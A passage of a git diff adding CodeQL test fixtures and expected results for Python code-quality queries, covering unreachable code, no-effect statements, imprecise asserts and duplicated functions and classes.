00000000000..259ad4df638 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryPass.qlref @@ -0,0 +1 @@ +Statements/UnnecessaryPass.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/nested.py b/python/ql/test/query-tests/Statements/general/nested.py new file mode 100644 index 00000000000..ac06f2974aa --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/nested.py @@ -0,0 +1,54 @@ +def f1(): + for repeated_var in range(10): + for repeated_var in range(10): + pass + do_something(repeated_var) + +def f2(): + for repeated_but_ok in range(10): + if repeated_but_ok == 7: + break + else: + for repeated_but_ok in range(10): + pass + do_something(repeated_but_ok) + +def f3(y,p): + for x in y: + if p(y): + for x in y: + good1(x) + else: + good2(x) + +def f4(y): + for x in y: + good1(x) + for x in y: + good2(x) + bad(x) + +def f5(y): + for x in y: + good1(x) + temp = x + for x in y: + good2(x) + x = temp + good3(x) + +def f6(y, f): + for x in y: + for x in y: + good(x) + x = f(x) + bad(x) + +def f7(y,p): + for x in y: + good(x) + for x in y: + if p(x): + x = 1 + break + bad(x) diff --git a/python/ql/test/query-tests/Statements/general/performance.py b/python/ql/test/query-tests/Statements/general/performance.py new file mode 100644 index 00000000000..261f8bad1ef --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/performance.py @@ -0,0 +1,12 @@ + +#String concat in loop +def y(seq): + y_accum = '' + for s in seq: + y_accum += s + + +def z(seq): + z_accum = '' + for s in seq: + z_accum = z_accum + s diff --git a/python/ql/test/query-tests/Statements/general/statements_test.py b/python/ql/test/query-tests/Statements/general/statements_test.py new file mode 100644 index 00000000000..37ed94ec57e --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/statements_test.py @@ -0,0 +1,200 @@ + +#Constant in conditional + +def cc1(): + if True: + print("Hi") + +def cc2(): + if 3: + print("Hi") + +def not_cc(): + #Don't treat __debug__ as a constant. It may be immutable, but it is not constant from run to run. + if __debug__: + print("Hi") + +#Mismatch in multiple assignment +def mima(): + x, y, z = 1, 2 + return x, y, z + +#Statement has no effect (4 statements, 3 of which are violations) +"Not a docstring" # This is acceptable as strings can be used as comments. +len +sys.argv + [] +3 == 4 + +#The 'sys' statements have an effect +try: + sys +except: + do_something() + +def exec_used(val): + exec (val) + +#This has an effect: +def effectful(y): + [x for x in y] + + + + + +#Redundant assignment + +ok = 1 +# some people use self-assignment to shut Pyflakes up +ok = ok # Pyflakes + +class Redundant(object): + + x = x # OK + x = x # violation + + def __init__(self, args): + args = args # violation + +#Non redundant assignment +len = len + +#Pointless else clauses +for x in range(10): + func(x) +else: + do_something() + +while x < 10: + func(x) +else: + do_something() + +#OK else clauses: +for x in range(10): + if func(x): + break +else: + do_something() + +while x < 10: + if func(x): + break +else: + do_something() + + + + + + + + + + + +#Not a redundant assignment if a property. +class WithProp(object): + + @property + def x(self): + return self._x + + @prop.setter + def set_x(self, x): + side_effect(x) + self._x = x + + def meth(self): + self.x = self.x + +def maybe_property(x): + x.y = x.y + +class WithoutProp(object): + + def meth(self): + self.x = self.x + +#Accessing a property has an effect: +def prop_acc(): + p = WithProp() + p.x + +#Fake Enum class + +class EnumMeta(type): + def __iter__(self): + return unknown() + +import six + +@six.add_metaclass(EnumMeta) +class Enum: + pass + +#ODASA-3777 +class EnumDerived(Enum): + a = 0 + b = 1 + +for e in EnumDerived: + print(e) + +class SideEffectingAttr(object): + + def __setattr__(self, name, val): + print("hello!") + +s = SideEffectingAttr() +s.foo = s.foo + +#Unreachable, so don't flag as constant test. +if False: + a = 1 + + + + + + + +def error_mismatched_multi_assign_list(): + a,b,c = [1,2,3,4,5] + +def returning_different_tuple_sizes(x): + if x: + return 1,2,3,4,5 + else: + return 1,2,3,4,5,6 + +def error_indirect_mismatched_multi_assign(x): + a, b, c = returning_different_tuple_sizes(x) + return a, b, c + + + + +#ODASA-6754 +def error_unnecessary_delete(): + x = big_object() + del x + +def ok_delete_in_loop(): + y = 0 + for i in range(10): + x = big_object(i) + y += calculation(x) + del x + +def ok_delete_yield(): + x = big_object() + y = calculation(x) + del x + yield y + +def ok_delete_exc_info_cycle_breaker(): + import sys + t, v, tb = sys.exc_info() + y = calculation(t,v,tb) + del t, v, tb diff --git a/python/ql/test/query-tests/Statements/general/test.py b/python/ql/test/query-tests/Statements/general/test.py new file mode 100644 index 00000000000..ab3c53cfcae --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/test.py @@ -0,0 +1,168 @@ + + + + + +def break_in_finally(seq, x): + for i in seq: + try: + x() + finally: + break + return 0 + +def return_in_finally(seq, x): + for i in seq: + try: + x() + finally: + return 1 + return 0 + +#Break in loop in finally +#This is OK +def return_in_loop_in_finally(f, seq): + try: + f() + finally: + for i in seq: + break + +#But this is not +def return_in_loop_in_finally(f, seq): + try: + f() + finally: + for i in seq: + return + +def unnecessary_pass(arg): + print (arg) + pass + +#Non-iterator in for loop + +class NonIterator(object): + + def __init__(self): + pass + +for x in NonIterator(): + do_something(x) + +#None in for loop + +def dodgy_iter(x): + if x: + s = None + else: + s = [0,1] + #Error -- Could be None + for i in s: + print(i) + #Ok Test for None + if s: + for i in s: + print(i) + if s is not None: + for i in s: + print(i) + +#OK to iterate over: +class GetItem(object): + + def __getitem__(self, i): + return i + +for y in GetItem(): + pass + +class D(dict): pass + +for z in D(): + pass + + + + + + + + + + + + +def modification_of_locals(): + x = 0 + locals()['x'] = 1 + l = locals() + l.update({'x':1, 'y':2}) + l.pop('y') + del l['x'] + l.clear() + return x + + +#C-style things + +if (cond): + pass + +while (cond): + pass + +assert (test) + +def parens(x): + return (x) + + +#ODASA-2038 +class classproperty(object): + + def __init__(self, getter): + self.getter = getter + + def __get__(self, instance, instance_type): + return self.getter(instance_type) + +class WithClassProperty(object): + + @classproperty + def x(self): + return [0] + +wcp = WithClassProperty() + +for i in wcp.x: + assert x == 0 +for i in WithClassProperty.x: + assert x == 0 + +#Should use context mamager + +class CM(object): + + def __enter__(self): + pass + + def __exit__(self, ex, cls, tb): + pass + + def write(self, data): + pass + +def no_with(): + f = CM() + try: + f.write("Hello ") + f.write(" World\n") + finally: + f.close() + +#Assert without side-effect +def assert_ok(seq): + assert all(isinstance(element, (str, unicode)) for element in seq) + + diff --git a/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.expected b/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.expected new file mode 100644 index 00000000000..5b1626128a4 --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.expected @@ -0,0 +1,5 @@ +| test.py:24:1:24:3 | ExprStmt | This statement has no effect. | +| test.py:25:1:25:13 | ExprStmt | This statement has no effect. | +| test.py:26:1:26:6 | ExprStmt | This statement has no effect. | +| test.py:80:1:80:6 | ExprStmt | This statement has no effect. | +| test.py:116:5:116:9 | ExprStmt | This statement has no effect. | diff --git a/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.qlref b/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.qlref new file mode 100644 index 00000000000..300e28e96c6 --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/StatementNoEffect.qlref @@ -0,0 +1 @@ +Statements/StatementNoEffect.ql diff --git a/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.expected b/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.expected new file mode 100644 index 00000000000..217832385ad --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.expected @@ -0,0 +1 @@ +| test.py:127:9:127:26 | ValueError() | Instantiating an exception, but not raising it, has no effect | diff --git a/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.qlref b/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.qlref new file mode 100644 index 00000000000..ae7783be6af --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/UnusedExceptionObject.qlref @@ -0,0 +1 @@ +Statements/UnusedExceptionObject.ql diff --git a/python/ql/test/query-tests/Statements/no_effect/assert_raises.py b/python/ql/test/query-tests/Statements/no_effect/assert_raises.py new file mode 100644 index 00000000000..d9bd6825252 --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/assert_raises.py @@ -0,0 +1,11 @@ +import unittest + +class T(unittest.TestCase): + + def test_thing(self): + l = 10 + s = [0] + with self.assertRaises(TypeError): + l[1000] + with self.assertRaises(IndexError): + s[1] diff --git a/python/ql/test/query-tests/Statements/no_effect/notebook.py b/python/ql/test/query-tests/Statements/no_effect/notebook.py new file mode 100644 index 00000000000..9e31b462e7e --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/notebook.py @@ -0,0 +1,26 @@ + +# This test is for IPython/Jupyter notebooks which can legitimately include bare expressions at the end of each code-cell. + +# 3.0 + +# +y = 1 + 1 +y + +# +z = 2 * 2 +z + +# +y + + + + + + + + + + + diff --git a/python/ql/test/query-tests/Statements/no_effect/options b/python/ql/test/query-tests/Statements/no_effect/options new file mode 100644 index 00000000000..b91afde0767 --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 diff --git a/python/ql/test/query-tests/Statements/no_effect/test.py b/python/ql/test/query-tests/Statements/no_effect/test.py new file mode 100644 index 00000000000..b31650a3b09 --- /dev/null +++ b/python/ql/test/query-tests/Statements/no_effect/test.py @@ -0,0 +1,135 @@ + + + + + + + + + + + + + + + + + + +import sys + + +#Statement has no effect (4 statements, 3 of which are violations) +"Not a docstring" # This is acceptable as strings can be used as comments. +len +sys.argv + [] +3 == 4 + +#The 'sys' statements have an effect +try: + sys +except: + do_something() + +def exec_used(val): + exec (val) + +#This has an effect: +def effectful(y): + [x for x in y] + + +#Not a redundant assignment if a property. +class WithProp(object): + + @property + def x(self): + return self._x + + @prop.setter + def set_x(self, x): + side_effect(x) + self._x = x + + def meth(self): + self.x = self.x + +#Accessing a property has an effect: +def prop_acc(): + p = WithProp() + p.x + + +def mydecorator(func): + return property(fget=func) + +class X(object): + + @mydecorator + def deco(self): + pass + + def func(self): + pass + +x = X() +x.deco +x.deco + 2 + +#No effect +x.func + +#Cannot infer what attribute is, so be conservative +x.thing +other_thing.func + +#Name Error + +try: + unicode +except NameError: + #Python 3 + unicode = str + +try: + ascii +except NameError: + #Python 2 + def ascii(obj): + pass + + +#Overridden operator. yuck. +class Horrible(object): + + def __add__(self, other): + fire_missiles_at(other) + + def __lt__(self, other): + fire_guns_at(other) + + +def possible_fps(x): + h = Horrible() + h + "innocent bystander" + h < "upstanding citizen" + x - 3 #True positive + + +# Forgotten raise. + +def do_action_forgotten_raise(action): + if action == "go": + start() + elif action == "stop": + stop() + else: + ValueError(action) + +def do_action(action): + if action == "go": + start() + elif action == "stop": + stop() + else: + raise ValueError(action) diff --git a/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected new file mode 100644 index 00000000000..74e56473a61 --- /dev/null +++ b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.expected @@ -0,0 +1,6 @@ +| test.py:8:9:8:28 | AssignStmt | Unreachable statement. | +| test.py:10:9:10:28 | Return | Unreachable statement. | +| test.py:16:9:16:21 | ExprStmt | Unreachable statement. | +| test.py:21:5:21:38 | For | Unreachable statement. | +| test.py:28:9:28:21 | ExprStmt | Unreachable statement. | +| test.py:84:5:84:21 | ExceptStmt | Unreachable statement. | diff --git a/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.qlref b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.qlref new file mode 100644 index 00000000000..5b7891f0026 --- /dev/null +++ b/python/ql/test/query-tests/Statements/unreachable/UnreachableCode.qlref @@ -0,0 +1 @@ +Statements/UnreachableCode.ql diff --git a/python/ql/test/query-tests/Statements/unreachable/test.py b/python/ql/test/query-tests/Statements/unreachable/test.py new file mode 100755 index 00000000000..b1b69942de9 --- /dev/null +++ b/python/ql/test/query-tests/Statements/unreachable/test.py @@ -0,0 +1,122 @@ + +#Unreachable code + +def f(x): + while x: + print (x) + while 0: + asgn = unreachable() + while False: + return unreachable() + while 7: + print(x) + +def g(x): + if False: + unreachable() + else: + reachable() + print(x) + return 5 + for x in first_unreachable_stmt(): + raise more_unreachable() + +def h(a,b): + if True: + reachable() + else: + unreachable() + +def intish(n): + """"Regression test - the 'except' statement is reachable""" + test = 0 + try: + test += n + except: + return False + return True + +#ODASA-2033 +def unexpected_return_result(): + try: + assert 0, "async.Return with argument inside async.generator function" + except AssertionError: + return (None, sys.exc_info()) + +#Yield may raise -- E.g. in a context manager +def handle_yield_exception(): + resources = get_resources() + try: + yield resources + except Exception as exc: + log(exc) + +#ODASA-ODASA-3790 +def isnt_iter(seq): + got_exc = False + try: + for x in seq: + pass + except Exception: + got_exc = True + return got_exc + + +class Odasa3686(object): + + def is_iterable(self, obj): + #special case string + if not object: + return False + if isinstance(obj, str): + return False + + #Test for iterability + try: + None in obj + return True + except TypeError: + return False + +def odasa5387(): + try: + str + except NameError: # Unreachable 'str' is always defined + pass + try: + unicode + except NameError: # Reachable as 'unicode' is undefined in Python 3 + pass + +#This is OK as type-hints require it +if False: + from typing import Any + +def foo(): + # type: () -> None + return + +#ODASA-6483 +def deliberate_name_error(cond): + if cond: + x = 0 + try: + x + except NameError: + x = 1 + return x + +#ODASA-6783 +def emtpy_gen(): + if False: + yield None + + +def foo(x): + if True: + if x < 3: + print(x, "< 3") + if x == 0: + print(x, "== 0") + + diff --git a/python/ql/test/query-tests/Testing/ImpreciseAssert.expected b/python/ql/test/query-tests/Testing/ImpreciseAssert.expected new file mode 100644 index 00000000000..e9e34a16769 --- /dev/null +++ b/python/ql/test/query-tests/Testing/ImpreciseAssert.expected @@ -0,0 +1,4 @@ +| test.py:6:9:6:31 | Attribute() | assertTrue(a == b) cannot provide an informative message. Using assertEqual(a, b) instead will give more informative messages. | +| test.py:7:9:7:31 | Attribute() | assertFalse(a > b) cannot provide an informative message. Using assertLessEqual(a, b) instead will give more informative messages. | +| test.py:8:9:8:33 | Attribute() | assertTrue(a in b) cannot provide an informative message. Using assertIn(a, b) instead will give more informative messages. | +| test.py:9:9:9:33 | Attribute() | assertFalse(a is b) cannot provide an informative message. Using assertIsNot(a, b) instead will give more informative messages. | diff --git a/python/ql/test/query-tests/Testing/ImpreciseAssert.qlref b/python/ql/test/query-tests/Testing/ImpreciseAssert.qlref new file mode 100644 index 00000000000..79dc019fe79 --- /dev/null +++ b/python/ql/test/query-tests/Testing/ImpreciseAssert.qlref @@ -0,0 +1 @@ +Testing/ImpreciseAssert.ql diff --git a/python/ql/test/query-tests/Testing/test.py b/python/ql/test/query-tests/Testing/test.py new file mode 100644 index 00000000000..1c79f177ac6 --- /dev/null +++ b/python/ql/test/query-tests/Testing/test.py @@ -0,0 +1,9 @@ +from unittest import TestCase + +class MyTest(TestCase): + + def test1(self): + self.assertTrue(1 == 1) + self.assertFalse(1 > 2) + self.assertTrue(1 in [1]) + self.assertFalse(0 is "") diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.expected new file mode 100644 index 00000000000..9234fea78c7 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.expected @@ -0,0 +1,8 @@ +| duplicate_test.py:47:9:60:17 | Duplicate code: 14 duplicated lines. | Duplicate code: 14 lines are duplicated at duplicate_test.py:9 | +| duplicate_test.py:56:18:66:25 | Duplicate code: 11 duplicated lines. | Duplicate code: 11 lines are duplicated at duplicate_test.py:18 | +| duplicate_test.py:61:24:80:32 | Duplicate code: 20 duplicated lines. | Duplicate code: 20 lines are duplicated at duplicate_test.py:23 | +| duplicate_test.py:166:18:245:24 | Duplicate code: 80 duplicated lines. | Duplicate code: 80 lines are duplicated at duplicate_test.py:84 | +| duplicate_test.py:287:9:300:17 | Duplicate code: 14 duplicated lines. | Duplicate code: 14 lines are duplicated at duplicate_test.py:9 | +| duplicate_test.py:287:9:300:17 | Duplicate code: 14 duplicated lines. | Duplicate code: 14 lines are duplicated at duplicate_test.py:47 | +| duplicate_test.py:299:22:318:32 | Duplicate code: 20 duplicated lines. | Duplicate code: 20 lines are duplicated at duplicate_test.py:23 | +| duplicate_test.py:299:22:318:32 | Duplicate code: 20 duplicated lines. | Duplicate code: 20 lines are duplicated at duplicate_test.py:61 | diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.qlref new file mode 100644 index 00000000000..6e6d439a040 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateBlock.qlref @@ -0,0 +1 @@ +external/DuplicateBlock.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.expected new file mode 100644 index 00000000000..c85079e3811 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.expected @@ -0,0 +1,4 @@ +| duplicate_test.py:9:1:9:16 | Function dis | All 26 statements in dis are identical in $@. | duplicate_test.py:47:1:47:17 | Function dis2 | dis2 | +| duplicate_test.py:47:1:47:17 | Function dis2 | All 26 statements in dis2 are identical in $@. | duplicate_test.py:9:1:9:16 | Function dis | dis | +| duplicate_test.py:287:1:287:17 | Function dis4 | All 24 statements in dis4 are identical in $@. | duplicate_test.py:9:1:9:16 | Function dis | dis | +| duplicate_test.py:287:1:287:17 | Function dis4 | All 24 statements in dis4 are identical in $@. | duplicate_test.py:47:1:47:17 | Function dis2 | dis2 | diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.qlref new file mode 100644 index 00000000000..bb7e3a45417 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/DuplicateFunction.qlref @@ -0,0 +1 @@ +external/DuplicateFunction.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.expected new file mode 100644 index 00000000000..e628b371944 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.expected @@ -0,0 +1,2 @@ +| duplicate_test.py:84:1:84:13 | Class Popen3 | All 55 statements in Popen3 are identical in $@. | duplicate_test.py:166:1:166:18 | Class Popen3Again | Popen3Again | +| duplicate_test.py:166:1:166:18 | Class Popen3Again | All 55 statements in Popen3Again are identical in $@. | duplicate_test.py:84:1:84:13 | Class Popen3 | Popen3 | diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.qlref new file mode 100644 index 00000000000..4af1d7b760b --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateClass.qlref @@ -0,0 +1 @@ +external/MostlyDuplicateClass.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateFile.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateFile.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateFile.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateFile.qlref new file mode 100644 index 00000000000..ae06f160dec --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlyDuplicateFile.qlref @@ -0,0 +1 @@ +external/MostlyDuplicateFile.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlySimilarFile.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlySimilarFile.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlySimilarFile.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlySimilarFile.qlref new file mode 100644 index 00000000000..f8d493b0a55 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/MostlySimilarFile.qlref @@ -0,0 +1 @@ +external/MostlySimilarFile.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.expected b/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.expected new file mode 100644 index 00000000000..55408a91345 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.expected @@ -0,0 +1,12 @@ +| duplicate_test.py:9:1:9:16 | Function dis | All statements in dis are similar in $@. | duplicate_test.py:249:1:249:17 | Function dis3 | dis3 | +| duplicate_test.py:9:1:9:16 | Function dis | All statements in dis are similar in $@. | duplicate_test.py:323:1:323:17 | Function dis5 | dis5 | +| duplicate_test.py:47:1:47:17 | Function dis2 | All statements in dis2 are similar in $@. | duplicate_test.py:249:1:249:17 | Function dis3 | dis3 | +| duplicate_test.py:47:1:47:17 | Function dis2 | All statements in dis2 are similar in $@. | duplicate_test.py:323:1:323:17 | Function dis5 | dis5 | +| duplicate_test.py:249:1:249:17 | Function dis3 | All statements in dis3 are similar in $@. | duplicate_test.py:9:1:9:16 | Function dis | dis | +| duplicate_test.py:249:1:249:17 | Function dis3 | All statements in dis3 are similar in $@. | duplicate_test.py:47:1:47:17 | Function dis2 | dis2 | +| duplicate_test.py:249:1:249:17 | Function dis3 | All statements in dis3 are similar in $@. | duplicate_test.py:323:1:323:17 | Function dis5 | dis5 | +| duplicate_test.py:287:1:287:17 | Function dis4 | All statements in dis4 are similar in $@. | duplicate_test.py:249:1:249:17 | Function dis3 | dis3 | +| duplicate_test.py:287:1:287:17 | Function dis4 | All statements in dis4 are similar in $@. | duplicate_test.py:323:1:323:17 | Function dis5 | dis5 | +| duplicate_test.py:323:1:323:17 | Function dis5 | All statements in dis5 are similar in $@. | duplicate_test.py:9:1:9:16 | Function dis | dis | +| duplicate_test.py:323:1:323:17 | Function dis5 | All statements in dis5 are similar in $@. | duplicate_test.py:47:1:47:17 | Function dis2 | dis2 | +| duplicate_test.py:323:1:323:17 | Function dis5 | All statements in dis5 are similar in $@. | duplicate_test.py:249:1:249:17 | Function dis3 | dis3 | diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.qlref b/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.qlref new file mode 100644 index 00000000000..665253817d7 --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/SimilarFunction.qlref @@ -0,0 +1 @@ +external/SimilarFunction.ql diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/duplicate_test.py b/python/ql/test/query-tests/UselessCode/DuplicateCode/duplicate_test.py new file mode 100644 index 00000000000..cebfd7aca8a --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/duplicate_test.py @@ -0,0 +1,358 @@ +#Code Duplication + + +#Exact duplication of function + +#Code copied from stdlib, copyright PSF. +#See http://www.python.org/download/releases/2.7/license/ + +def dis(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(x1) + except TypeError(msg): + print("Sorry:", msg) + print() + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError( + "don't know how to disassemble %s objects" % + type(x).__name__) + + +#And duplicate version + +def dis2(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(x1) + except TypeError(msg): + print("Sorry:", msg) + print() + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError( + "don't know how to disassemble %s objects" % + type(x).__name__) + +#Exactly duplicate class + +class Popen3: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + + +class Popen3Again: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + +#Duplicate function with identifiers changed + +def dis3(y=None): + """frobnicate classes, methods, functions, or code. + + With no argument, frobnicate the last traceback. + + """ + if y is None: + distb() + return + if isinstance(y, types.InstanceType): + y = y.__class__ + if hasattr(y, 'im_func'): + y = y.im_func + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(y, '__dict__'): + items = y.__dict__.items() + items.sort() + for name, y1 in items: + if isinstance(y1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(y1) + except TypeError(msg): + print("Sorry:", msg) + print() + elif hasattr(y, 'co_code'): + frobnicate(y) + elif isinstance(y, str): + frobnicate_string(y) + else: + raise TypeError( + "don't know how to frobnicate %s objects" % + type(y).__name__) + + +#Mostly similar function + +def dis4(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: 